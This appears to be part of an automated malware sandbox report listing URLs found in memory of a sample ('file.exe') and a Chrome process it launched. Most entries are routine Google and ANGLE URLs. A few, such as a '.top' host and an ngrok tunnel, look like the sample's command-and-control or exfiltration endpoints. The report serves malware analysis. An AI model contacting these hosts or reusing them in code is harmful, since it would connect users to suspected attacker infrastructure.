Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663212551.00001CEC00494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663212551.00001CEC00494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663212551.00001CEC00494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663212551.00001CEC00494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000004.00000002.2664831307.00001CEC00644000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 00000004.00000002.2660513146.00001CEC0006A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://google.com/
Source: file.exe, 00000000.00000003.2125718375.0000000007382000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: file.exe, 00000000.00000003.2488531277.0000000001712000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347
Source: file.exe, 00000000.00000003.2488668996.0000000001712000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2488531277.0000000001712000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347fff::3
Source: file.exe, 00000000.00000003.2125718375.0000000007382000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000004.00000003.2642701038.00001CEC00F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642837149.00001CEC00F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642774164.00001CEC01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2643030887.00001CEC01050000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 00000004.00000003.2644519262.00001CEC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644433483.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644689041.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644872265.00001CEC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642701038.00001CEC00F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662067018.00001CEC002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644466783.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642812632.00001CEC01084000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642837149.00001CEC00F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644409153.00001CEC00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642774164.00001CEC01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663341641.00001CEC004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2643030887.00001CEC01050000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000004.00000003.2644519262.00001CEC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644433483.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644689041.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644872265.00001CEC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642701038.00001CEC00F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662067018.00001CEC002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644466783.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642812632.00001CEC01084000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642837149.00001CEC00F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644409153.00001CEC00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642774164.00001CEC01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663341641.00001CEC004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2643030887.00001CEC01050000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000004.00000003.2644519262.00001CEC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644433483.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644689041.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644872265.00001CEC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642701038.00001CEC00F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662067018.00001CEC002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644466783.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642812632.00001CEC01084000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642837149.00001CEC00F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644409153.00001CEC00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642774164.00001CEC01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663341641.00001CEC004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2643030887.00001CEC01050000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000004.00000003.2644519262.00001CEC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644433483.00001CEC00708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644689041.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644872265.00001CEC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644784633.00001CEC010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642701038.00001CEC00F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662067018.00001CEC002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644466783.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642812632.00001CEC01084000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642837149.00001CEC00F70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644409153.00001CEC00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642774164.00001CEC01034000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663341641.00001CEC004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2643030887.00001CEC01050000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000004.00000002.2667193216.00001CEC00990000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000004.00000002.2667515118.00001CEC00A28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000004.00000002.2667515118.00001CEC00A28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://unisolated.invalid/#
Source: Amcache.hve.12.dr String found in binary or memory: http://upx.sf.net
Source: chrome.exe, 00000004.00000002.2667515118.00001CEC00A28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.gstatic.com/generate_204
Source: file.exe, 00000000.00000003.2677487063.00000000072B8000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000004.00000002.2660720624.00001CEC0009C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000004.00000002.2663212551.00001CEC00494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2640367457.00001CEC003F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642271667.00001CEC003F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662403206.00001CEC003F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2644689041.00001CEC003F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637952367.00001CEC003F0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000004.00000002.2660396111.00001CEC00014000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000004.00000002.2668326618.00001CEC00BC0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2662676251.00001CEC00428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2660513146.00001CEC00054000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000004.00000002.2660513146.00001CEC00054000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardG
Source: chrome.exe, 00000004.00000002.2662676251.00001CEC00428000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardr
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000004.00000002.2668326618.00001CEC00BC0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2669188064.00001CEC00D64000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000004.00000002.2665107003.00001CEC006B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000004.00000002.2660795409.00001CEC000B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000004.00000002.2660795409.00001CEC000B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000004.00000002.2660795409.00001CEC000B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000004.00000002.2660720624.00001CEC0009C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000004.00000002.2669188064.00001CEC00D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000004.00000002.2669188064.00001CEC00D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000004.00000002.2661792614.00001CEC0020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000004.00000002.2661702791.00001CEC001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com:443
Source: file.exe, 00000000.00000003.2125718375.0000000007382000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: file.exe, 00000000.00000003.2125718375.0000000007382000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7246
